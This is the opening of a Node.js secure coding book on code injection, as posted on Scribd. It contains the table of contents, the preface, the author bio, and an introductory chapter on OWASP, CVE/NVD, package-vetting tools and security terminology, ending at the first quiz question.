0% found this document useful (0 votes)
226 views131 pages

Node Js Secure Coding Mitigate

The document discusses secure coding practices in Node.js, focusing on mitigating code injection vulnerabilities. It provides insights for software developers and security practitioners, covering topics such as application security, code injection risks, and specific vulnerabilities with case studies. Additionally, it emphasizes the importance of secure coding techniques and lessons learned from past vulnerabilities.

Uploaded by

rookxhemanth
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
226 views131 pages

Node Js Secure Coding Mitigate

The document discusses secure coding practices in Node.js, focusing on mitigating code injection vulnerabilities. It provides insights for software developers and security practitioners, covering topics such as application security, code injection risks, and specific vulnerabilities with case studies. Additionally, it emphasizes the importance of secure coding techniques and lessons learned from past vulnerabilities.

Uploaded by

rookxhemanth
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Node.

js Secure Coding: Mitigate and


Weaponize Code Injection Vulnerabilities
Liran Tal

Version v1.0, 01.05.2024:


Table of Contents
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
What you gain to learn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Software developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Security practitioners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
How to read this book? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
About the Author . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1. Introduction to Application Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.1. Application Security Organizations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.1. OWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.2. MITRE, CVEs and NVD. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.2. Evaluating Open-Source Packages. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
1.3. Application Security Jargon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.4. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
1.4.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2. Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.1. What is Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.1.1. Unveiling the Risks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.2. Code Injection Vulnerability in Practice: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.3. Code Injection vs Command Injection. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.4. Code Injection in CWE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
2.5. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
2.5.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
3. CVE-2022-25760: Code injection in accesslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.1. About the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.2. Exploiting the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.3. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
4. CVE-2021-23390: Code injection in total4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.1. About the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4.2. Exploiting the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
4.3. About the fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
4.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
4.4.1. KISS for security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
4.4.2. Security by design. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
4.4.3. Vulnerability applicability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
5. CVE-2020-28502: Code injection in xmlhttprequest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
5.1. About the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
5.2. Exploiting the vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
5.3. Reviewing the fix. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
5.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
6. Weaponizing Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
6.1. Code Injection Sinks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
6.1.1. Dynamic Code with eval() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
6.1.2. Dynamic Code with the Function() Constructor. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
6.1.3. The Timers Family: setTimeout(), setInterval() & setImmediate() . . . . . . . . . . . . . . 64
6.1.4. Module Loading with require() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Exploiting Path Traversal, Denial of Service, and Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
6.1.5. Module Loading with import() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
6.1.6. The vm Module . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
6.2. Debunking the Illusion of Secure JavaScript Sandboxes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
6.2.1. Case study: safe-eval . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
6.2.2. Case study: safer-eval . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
6.2.3. Case study: vm2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
6.3. Insecurities of Serialization and Deserialization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.3.1. Case study: serialize-to-js . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
6.4. Exploiting Template Engines. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
6.4.1. Case study: eta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
6.5. Worker Threads Are Not a Security Sandbox. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
7. Mitigating Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
7.1. The Impact of Code Injection Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
7.1.1. Notable Code Injection Vulnerabilities in the Wild . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
7.1.2. Notable Code Injection Vulnerabilities in Node.js . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
7.2. Mitigating Code Injection Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
7.2.1. Security Controls. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.2.2. Code Injection Security Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.2.3. Security Sandbox Environments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
The isolated-vm Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
The Endo Project and SES Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Worker Threads and Child Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
8. Appendix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
8.1. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
8.1.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
8.2. CVEs in This Book . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
Node.js Secure Coding: Mitigate and Weaponize Code Injection Vulnerabilities
by Liran Tal

Copyright © 2024 Liran Tal. All rights reserved.

ISBN: 978-1-4457-6654-6

Revision history:

- 2024-05-01
- First edition.

This book is for sale at https://www.nodejs-security.com

Preface | 1
Preface

Learn about JavaScript’s insecure code patterns that lead to code injection vulnerabilities in Node.js
applications. This book provides a comprehensive guide to code security in server-side JavaScript
applications and how to mitigate code injection vulnerabilities by analyzing real-world security
vulnerabilities reported as CVE to popular open-source npm packages.

This book begins by laying the foundations of application security and continues to unfold the theory
and practice behind code injection vulnerabilities. It then takes a hands-on approach to vulnerable code,
demonstrating how insecure JavaScript and Node.js APIs lead to code injection security risks. Following
vulnerable code reviews with applied security vulnerabilities will teach you how to recognize and avoid
insecure code patterns in your Node.js applications.

The more you spend time reading code, the easier it becomes to grasp its intricacies and gain deeper
contextual understanding. This book’s primary objective is to facilitate that learning process by
examining vulnerable code, allowing us to learn from its flaws. This activity cultivates patterns within our
cognitive processes, enabling our brains to identify and recognize security red flags and code insecurity
swiftly. These acquired patterns become invaluable assets in daily programming and code review
routines, enhancing your ability to proactively detect and mitigate security vulnerabilities.

2 | Preface
What you gain to learn
This book caters to JavaScript software developers creating server-side JavaScript applications and
security professionals keen on learning how to mitigate code injection vulnerabilities in the Node.js
runtime environment. It provides an in-depth understanding of exploiting code injection vulnerabilities,
showcasing the impact and concerns these security vulnerabilities pose for server-side JavaScript
applications. With a comprehensive approach, the book equips developers and security professionals
with valuable insights, enabling them to effectively identify, understand, and address these critical
vulnerabilities.

By completing this book, you gain:

• A high level of security expertise in code injection vulnerabilities in JavaScript and Node.js
applications.

• A security-first mindset to recognize insecure Node.js and server-side JavaScript code patterns.

• Knowledge of secure coding best practices to avoid code injection security vulnerabilities.

• Experience in writing and recognizing offensive exploit payloads for code injection vulnerabilities.

• Insights into security risks associated with code serialization, sandboxing, runtime dynamic code
execution, and other JavaScript security concerns in Node.js applications.

• An expert-level understanding of application security jargon and conventions associated with code
injection security vulnerabilities.

• Insights into real-world software libraries on the npm registry found vulnerable and how
vulnerabilities were fixed.

• Proficiency in performing secure code reviews in the scope of code injection security vulnerabilities.

Software developers

Software developers who build web applications, specifically those who practice server-side JavaScript
development on top of the Node.js runtime, will significantly benefit from the secure coding practices
learned in this book.

As a software developer, you will engage in step-by-step code review of real-world popular libraries and
their vulnerable code, through which you will investigate how security vulnerabilities manifest and
understand the core reasons that lead to a security risk.

By reviewing code used in real-world software libraries, you will learn to recognize insecure code
patterns. In addition, you will learn secure coding best practices for working with system processes.

Preface | 3
Security practitioners

Security professionals who wish to learn and investigate the source of insecure code and security
implications are concerned with vulnerable open-source and third-party libraries that comprise an
application’s software composition analysis (SCA).

How to read this book?


This book primarily focuses on the following knowledge base sections:

• Introduction to application security.

• A primer on code injection security vulnerabilities.

• Chapters that review security vulnerabilities in-depth.

Suppose you already understand application security concepts, such as those covered by OWASP (Open
Web Application Security Project), NVD (National Vulnerability Database), and other security terminology.
You can skip the Introduction to Application Security Concepts section.

You can skip the primer chapter for readers who have an in-depth understanding of code injection
vulnerabilities, such as those with prior experience fixing them as a developer or disclosing a code
injection vulnerability through a bug bounty program. However, reviewing the code injection primer
chapter is highly recommended to ensure you have a solid foundation of code injection sinks, their
impact on server-side JavaScript applications such as SSR, and how attackers exploit them.

This book’s core is a deep dive into real-world security vulnerability reviews. Each vulnerability we review
is assigned a security identifier, such as a CVE, and has impacted real-world npm packages.

4 | Preface
About the Author

Liran Tal is an accomplished software developer, respected security researcher, and prominent advocate
for open-source software in the JavaScript community. He has earned recognition as a GitHub Star, in
part for his tireless efforts to educate developers and for his contributions to developing essential
security tools and resources that help JavaScript and Node.js developers create more secure
applications.

His leadership in open-source security extends to meaningful contributions to OWASP projects,


recording supply chain security incidents at the CNCF, and various OpenSSF initiatives. His contributions
to the Node.js community have been widely recognized, including being honored with the OpenJS
Foundation’s Pathfinder for Security award for his significant contributions to advance the state of
Node.js security. In his role as a security analyst in the Node.js Foundation’s Security Working Group,
Liran reviewed hundreds of vulnerability reports for npm packages and created processes for
responsible security disclosures and vulnerability triage.

Liran is also an accomplished security researcher and has disclosed security vulnerabilities in various
open-source software projects, including being credited with CVEs impacting npm packages. His work on
supply chain security research, including Lockfile Injection, was presented at Black Hat Europe 2021
cybersecurity conference.

As an experienced author and educator, Liran has written several widely respected books on software
security. These include "Serverless Security" published by O’Reilly, as well as the self-published titles
"Essential Node.js Security" and "Web Security: Learning HTTP Security Headers". He is passionate about
sharing his knowledge and occasionally speaks on software security topics at academic institutions, such
as presenting to students at the Electrical and Computer Engineering School at Purdue University.

Since joining Snyk, Liran has made a significant impact as a developer advocate, empowering developers
with the knowledge and tools needed to build and deploy secure software at scale. His contributions to
the developer community have been instrumental in advancing the state of application security and
strengthening the adoption of secure coding practices.

About the Author | 5


Chapter 1

Introduction to Application Security

Software developers should understand security professionals' terminology and familiarize themselves
with application security conventions and resources. Security findings often depend on software
developers for fixes, whether by upgrading software libraries, fixing insecure coding conventions, or
fixing insecure system architecture and processes.

This chapter provides the foundations for effective communication with your security practitioner
colleagues and sets the basis for application security information and practicing secure coding.

Learnings

By the end of this chapter, you should be able to answer questions such as:

• What is a CVE, and how is a CWE related to it?

• What is the OWASP Top 10?

• What is NVD?

• What is a source-to-sink?

• What is an attack vector?

6 | Chapter 1. Introduction to Application Security


1.1. Application Security Organizations
The following bodies of work are actively referenced and used as application security resources. They
provide security tools, frameworks, documentation, libraries, working groups, events, and industry-
accepted standards and maintain a security vulnerability database.

1.1.1. OWASP

The Open Web Application Security Project (OWASP) is a non-profit organization that aims to improve
the quality of software on the internet through active work to make it more secure. The OWASP
Foundation provides resources to help security professionals and developers create secure software.
This extends to guides, tools, and documentation; developers should be aware of the Open Web
Application Security Project (OWASP), as it is a widely recognized and respected source of information on
software security.

In addition to the OWASP Top 10, developers should also be aware of other OWASP resources, such as
the OWASP Application Security Verification Standard (ASVS) and the OWASP Secure Coding Practices
Quick Reference Guide. These resources provide detailed guidance on how to write secure code and
adhere to secure coding practices.

Some notable examples of OWASP-related security resources for Node.js developers:

• OWASP Top 10 - known commonly as a security weaknesses awareness document, the OWASP Top
10 is a list of the most common and most critical web application security risks. It, however doesn’t
aim to provide an exhaustive list or claim that one weakness is more dangerous than another. The
list is curated by OWASP Foundation members and other guests are invited to share their expertise.
It is reviewed every few years to make updates to the list. It provides an ideal starting point for
developers to understand the types of vulnerabilities they should be aware of and work to prevent in
their software.

• OWASP NodeGoat and OWASP Juice Shop - both are open-source projects that present a security-
focused learning experience for JavaScript and Node.js developers. You can clone them on GitHub
and experience real-world misconfigurations and code security issues. At the time of writing this
book, they’re known to cover all of OWASP’s Top 10 vulnerabilities for developers to learn about and
exploit in a controlled environment.

• OWASP Cheat Sheet Series - the OWASP Cheat Sheet Series provides comprehensive security advice
for various languages, platforms, and development practices. In general, it guides on secure coding
practices for JavaScript and Node.js developers, such as NPM Security best practices, the Node.js
Docker Cheat Sheet, and others.

Chapter 1. Introduction to Application Security | 7


FUN FACT

The author of this book has contributed to the OWASP Cheat Sheet Series. This includes the

Node.js Docker Cheat Sheet and the NPM Security Cheat Sheet which have been widely
referenced and recognized by the Node.js community.

1.1.2. MITRE, CVEs and NVD

MITRE is a non-profit organization that operates research and development centers sponsored by the US
government. One of MITRE’s many focus areas is cybersecurity and the development of application
security frameworks, such as MITRE ATT&CK. In addition, MITRE provides other cybersecurity resources
and tools to help organizations and individuals improve their cyber defenses.

One of MITRE’s most known contributions to the security industry is establishing and maintaining the
Common Vulnerabilities and Exposures system, commonly called CVE. This system tracks and maintains
security vulnerabilities and assigns each of them an ID, referred to as a CVE ID or, for short, a CVE. It then
categorizes them into specific classifications, such as CWE-94: Improper Control of Generation of Code
('Code Injection'). This classification system is known as Common Weakness Enumeration (CWE).

MITRE maintains its list of open and public security vulnerabilities database through the National
Vulnerability Database, known commonly by its acronym NVD. As such, NVD is a website that provides
access to the CVE database, which is a list of all publicly known security vulnerabilities and their
associated CVE IDs.

8 | Chapter 1. Introduction to Application Security


Figure 1. CVE-2022-25878 on the cve.org website

Useful resources:

• MITRE CVE - this is the home for the overall management of CVEs, providing access to CVE artifacts, a
searchable list, the issuing of CVEs and modifications to existing CVEs. It also lists current working
groups and other resources, such as Common Numbering Authorities, known as CNAs. A CNA is an
organization that has been approved and authorized by MITRE to handle disclosures of security
vulnerabilities and issue CVE IDs

As a maintainer of open-source npm packages, you may find yourself handling CVE reports
about your project. The MITRE CVE website is the address to which you can submit revocation

requests or other modifications to a CVE report that was issued to a project you are
maintaining or contributing to.

• NVD - MITRE’s CVE database is publicly available through NVD, the National Vulnerability Database. In
NVD, each vulnerability is well described with metadata, accompanying resources, a severity score,
and the product or vendor information it is associated with in terms of impact.

Chapter 1. Introduction to Application Security | 9


TIP

GitHub is a CVE Numbering Authority (CNA) authorized to assign CVE identification numbers to
vulnerabilities in public repositories on its platform. When a security vulnerability is discovered in
a public GitHub repository, the repository maintainers can create a security advisory and request
a new CVE ID from GitHub. GitHub will review the request and, if approved, reserve a CVE ID for
the vulnerability. The CVE details are then published to the MITRE CVE database after the security
advisory is made public.

Snyk is also a designated CNA, responsible for assigning CVE IDs to vulnerabilities in the npm
ecosystem that another CNA does not already cover. This includes vulnerabilities discovered in
Snyk own products and vulnerabilities identified by the Snyk security research team or reported
to Snyk by the community. Snyk works closely with the open-source community and other CNAs
to ensure comprehensive and accurate vulnerability reporting for npm packages and
dependencies.

1.2. Evaluating Open-Source Packages


Typically, developers integrate and use third-party open-source libraries to build applications. With the
peak adoption of open-source software, reliance on community-powered open-source software extends
to more than just security risks with libraries.

Developers should conduct due diligence and compare projects to vet their sustainability, security,
maintainability, and other factors. As such, they may be concerned about such issues as:

• Is the library facing maintenance issues?

• Has the library’s popularity been on the decline?

• How many active maintainers and contributors are working on the project?

The Snyk Advisor is a free web tool to help gauge a package’s health status and curate a project’s
sustainability and security criteria into a holistic comparable health score. A package health score allows
developers to make better data-informed decisions about open-source projects based on current factual
data.

10 | Chapter 1. Introduction to Application Security


Figure 2. Snyk Advisor package health score for the remark package

Another source of package health information is deps.dev, which is a free web resource tool made
available by Google and provides open access to the data through BigQuery Public Dataset. The
following capabilities are potent features to investigate dependencies beyond package health:

• A complete list of dependencies and dependent packages

• Visual diff to compare across published package versions

• Versions are annotated with information about a list of dependents

• License information includes the entire dependency list

• OpenSSF scorecard details

Chapter 1. Introduction to Application Security | 11


Figure 3. The lockfile-lint npm package OpenSSF scorecard details from deps.dev

TIP

Socket.dev is another resource that provides valuable data and insights into the health and
security of open-source packages, particularly in the npm ecosystem. Similar to Snyk Advisor and
deps.dev, Socket.dev collects and analyzes metadata about npm packages, including their
dependencies, license information, and security vulnerabilities.

Socket.dev primarily focuses on open-source supply chain security and hunts for malicious
packages. It highlights dependency signals such as install scripts, bin script injection,
typosquatting attacks, and obfuscated malware code. This focus on identifying potential
malicious activity sets Socket.dev apart from other package health tools.

1.3. Application Security Jargon


The following is a list of technical security terms and acronyms commonly used in security conversations,
documentation, and vulnerability communication. These are widely used throughout the book and
defined here for reference.

Security Controls
In the context of code injection vulnerabilities, security controls are protective mechanisms and
practices implemented within software and code to prevent runtime code execution that originates
from user input and other untrusted sources. These controls are often implemented as part of the
application’s security architecture and are designed to prevent malicious code from being executed. A

12 | Chapter 1. Introduction to Application Security


commonly practiced security control is input validation, which involves inspecting user input to
conform with the expected format, types, and schema. Another security control is output escaping,
which handles user input in a way that prevents code injection attacks from being successful. One
example of malicious code injection is cross-site scripting (XSS), which involves injecting malicious
JavaScript code into a web application to steal sensitive data or perform other malicious actions.

Responsible disclosure
Security responsible disclosure refers to disclosing sensitive information about a security vulnerability
found in a library, a product, or a flaw in a computer system. Responsible security disclosure aims to
alert the appropriate parties, such as project maintainers, to the vulnerability. Such report disclosures
enable security researchers and bug bounty hunters to review, advise, and collaborate with
maintainers toward a fix. Responsible security disclosures help protect projects, systems, and end-
users (often, us developers) from potential harm.

OWASP Top 10
A widely recognized and industry-accepted document that provides a concise, high-level summary of
the top 10 most common weaknesses regarding web security.

Sink
A sink is a term used to describe the location in a program where user input is used in some form. In
the context of security, a sink is a point in the program where user input is used in a way that could
lead to a security vulnerability. For example, a sink could be a database query that uses user input
without proper validation or sanitization. Another example of a sink is a JavaScript API like eval() or
Function() that dynamically executes code. Developers can implement security controls at the sink
to prevent security vulnerabilities.

Source to sink
Source to sink is a term used to describe the process of data flow within a program from where user
input originates (the source) to where it is used in some form (the sink). To ensure an application’s
security or a system’s integrity, it is common practice to implement security controls at the source.
Such security controls include input validation or input sanitization. Some security controls, such as
output encoding and parametrized queries, can and should be employed at the sink.

CVE
A Common Vulnerabilities and Exposures is an identifier assigned to a publicly disclosed security
vulnerability. It provides a standardized reference for identifying and tracking vulnerabilities. CVEs are
a standard for identifying vulnerabilities across the industry. As a developer, you can think of CVE IDs
as backlog ticket IDs for security vulnerabilities.

CVSS
Common Vulnerability Scoring System is a standardized method for assessing the severity of security
vulnerabilities. It is commonly used in conjunction with CVEs to provide a quantitative measure of the
potential impact of a vulnerability. CVSS assigns a score to a vulnerability based on several factors.
These factors include the impact on the confidentiality, integrity, and availability of the affected

Chapter 1. Introduction to Application Security | 13


program or underlying system. The vulnerability is also evaluated based on its ease of exploitation
and likelihood of being exploited. The resulting score is between 0 and 10, with higher scores
indicating more severe vulnerability.

CWE
Common Weakness Enumeration is a standardized classification of common software weaknesses
that can lead to security vulnerabilities. MITRE developed it as a way to establish a standard software
vulnerability categorization. Additionally, it provides the basis for tools and services that can assist
organizations in identifying and addressing these vulnerabilities. A CWE is also structured
hierarchically and contains metadata about vulnerability classes, mitigation, and prevention.

Vulnerability
A security vulnerability is a weakness in a computer program or a computer system that can be
exploited by a malicious party to gain unauthorized access to sensitive data or disrupt the system’s
normal functioning. Security vulnerabilities can take many forms, including design weaknesses or
computational logic flaws in applications and systems. These vulnerabilities, when exploited, lead to
adverse consequences.

Exploit
An exploit is a technique, method, or program code developed and used to take advantage of a
vulnerability in a computer system or a software application. Exploits are then executed to gain an
advantage over a vulnerable system.

Attack vector
An attack vector is a path or means by which an attacker can access a computer system or software
application to exploit a vulnerability. Attack vectors can take many forms, such as manipulating input
data in a way that causes the system to behave unintentionally. They can also use social engineering
techniques to trick users into divulging sensitive information or access credentials.

Payload
A payload is commonly used in exploits and is part of an attack that is delivered to a target system or
application that may perform malicious actions.

Attack surface
Refers to all available interfaces and components accessible to an attacker and can potentially be
exploited to perform malicious actions on a system.

Offensive Security
Offensive Security is a cybersecurity approach focused on actively identifying and exploiting
computer systems, networks, and applications vulnerabilities. Offensive security professionals,
ethical hackers, or penetration testers employ their expertise to assess and enhance a system’s
security posture.

14 | Chapter 1. Introduction to Application Security


Input Validation
Input Validation is the process of inspecting and verifying user inputs to ensure they meet predefined
criteria, such as format, length, and type, to prevent the acceptance of malicious or unexpected data.

Insecure Deserialization
Insecure deserialization refers to the security risk of converting serialized data (often in formats like
JSON) back into its original object or data structure. Some npm packages can serialize and unserialize
JavaScript code, which is a fruitful ground for malicious actors to exploit. If not properly validated and
sanitized, malicious actors can manipulate serialized data to execute arbitrary code, leading to
potential security vulnerabilities in an application.

Code Injection
Code injection involves the insertion of malicious code into a software application, typically exploiting
vulnerabilities in input handling mechanisms or insufficient security controls to prevent the
interpretation of user input in a sensitive application code context. In the context of Node.js and
JavaScript, common types of code injection include SQL injection, where malicious SQL commands
are injected into database queries, and cross-site scripting (XSS), where malicious scripts are injected
into web pages, potentially compromising user data or hijacking sessions.

Arbitrary Code Execution


Arbitrary code execution, often referred to by security practitioners in their reports as ACE, refers to
the ability of an attacker to execute arbitrary code on a target system or application. This can occur
when an attacker successfully exploits a vulnerability in an application, such as a code injection
vulnerability, to execute arbitrary code on the target system.

Arbitrary Code Injection


Arbitrary code injection refers to the ability of an attacker to inject arbitrary code into an application,
typically exploiting vulnerabilities in input handling mechanisms or insufficient security controls to
prevent the interpretation of user input in a sensitive application code context. Arbitrary code
injection can lead to arbitrary code execution, where an attacker can execute arbitrary code on a
target system or application. Both terms are often used interchangeably.

Remote Code Execution


Remote code execution, often referred to by security practitioners in their reports as RCE, refers to
the ability of an attacker to execute code on a target system or application from a remote location,
typically over the network. This can occur when an attacker successfully exploits a vulnerability in an
application, such as a code injection vulnerability.

Exfiltration
Exfiltration is the unauthorized transfer of data from a system or network to an external location
controlled by an attacker. This can occur when an attacker successfully exploits a vulnerability in an
application to extract sensitive data from the target system or network.

Chapter 1. Introduction to Application Security | 15


Sandbox
A sandbox is a controlled environment that restricts the execution of untrusted code, isolating it from
the rest of the system and preventing it from accessing or modifying resources outside its designated
boundaries. In the context of Node.js, some developers might seek to put code stemming from user
input in such a security sandbox with the aim that this restricted JavaScript environment can mitigate
the impact of code injection attacks. For example, a security sandbox in Node.js could seek to replace
sensitive objects such as Function with a modified version that doesn’t allow access to the proto
property, or they could altogether remove global objects like process, require, and module from
the sandboxed environment to limit access to sensitive resources.

CIA Triad
The CIA Triad is a foundational security model with three core principles: Confidentiality, Integrity,
and Availability. These principles guide the design and implementation of security controls to protect
information and systems from unauthorized access, alteration, and disruption.

Access Control Lists (ACLs)


Access Control Lists (ACLs) define and manage permissions for files and directories. ACLs specify
which users or system entities are allowed or denied access to specific resources, enhancing security
by controlling access at a granular level.

1.4. Test Your Knowledge


In this section, you can check your understanding of the concepts and best practices presented in this
chapter through multiple-choice questions. Answer them to the best of your ability, and check your
answers at the end of the section.

Select the correct answer (some questions may have multiple correct answers):

1. What does OWASP stand for?

a. Open Web Application Security Project

b. Open Worldwide Application Security Program

c. Online Web Application Scanning Platform

d. Organization of Web Application Security Professionals

